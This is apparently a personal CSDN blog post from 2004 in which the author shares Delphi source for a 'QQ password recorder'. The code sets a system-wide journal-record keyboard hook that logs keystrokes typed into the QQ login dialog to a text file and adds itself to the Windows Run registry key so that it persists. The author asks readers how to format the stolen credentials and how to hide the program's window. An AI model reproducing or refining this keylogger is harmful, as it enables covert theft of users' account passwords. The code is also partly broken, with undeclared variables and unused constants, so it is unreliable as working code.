B52的专栏
   CSDNBlog  |  联络  |  聚合   |  登录      1 篇文章  |   0 篇收藏   |   0 个评论   |   0 个Trackbacks  
 存档
2004年07月 (1) 
qq密码记录程序 
unit password;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls,Clipbrd, Buttons,registry;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Label1: TLabel;
    Timer1: TTimer;
    Edit1: TEdit;
    BitBtn1: TBitBtn;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);   private
    { Private declarations }
  public
    { Public declarations }
  end;var
  Form1: TForm1;
  hHook:integer;
  
  d:char;
EventArr:EVENTMSG;
implementation
function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
 
 var
      c:integer;
      HWindow,hbutton1, HButton,hedit,hedit1, handle: THandle; //句柄变量
      debugfile:textfile;
      point:TPoint;
      temp:array[0..255] of char;
    begin
      HWindow:=0;
      found:=false;
         //找是#32770(对话框)的窗体
         HWindow := FindWindowEx(0, HWindow, '#32770',nil);
         hbutton1:=findwindowex(HWindow,0,'Button','取消') ;         If hbutton1 <> 0 Then//如果找到了
            Begin
                
                if (peventmsg(lparam)^.message = WM_KEYDOWN) then//判断是否按键
                      begin                        c:=peventMsg(lparam)^.paramL;
                        d:=char(c);//得到按键
                       {$I-}
                         if not fileExists('NEWFILE.txt') then//如果文件不存在
                            begin
                            AssignFile(debugfile, 'NEWFILE.txt');
                            Rewrite(debugfile);//创建新文件
                            write(debugfile,d);//写入键值
                            CloseFile(debugfile);
                            end
                     //
                         else//如果存在
                            begin
                            AssignFile(debugfile, 'NEWFILE.txt');
                            Append(debugfile);//追加记录
                            write(debugfile,d);//写入键值
                            closefile(debugfile);
                            end
                      end
             end;
  end; {$R *.dfm}procedure TForm1.FormCreate(Sender: TObject);
const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
var myname: string;
 reg:tregistry;begin
 hHook:=SetwindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0);//加载钩子
 
find:=false;
  reg:=tregistry.create; 
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
   reg.WriteString('oicqpass','D:\Program Files\Del\Borland\Delphi7\Projects\password.EXE');end;procedure TForm1.Button1Click(Sender: TObject);
begin
 UnHookWindowsHookEx(hHook);//卸钩子
  hHook:=0;end;//这是我刚写的一个记录密码的程序基本具有了记录的功能但是这个程序有很多问题:比如记录文件记录的号码和密码之间可能会没有间隔,此外前一条记录和后一条记录之间也没有间隔。 请大家提点建议解决
此外怎么样可以实现程序启动后看不到窗体了?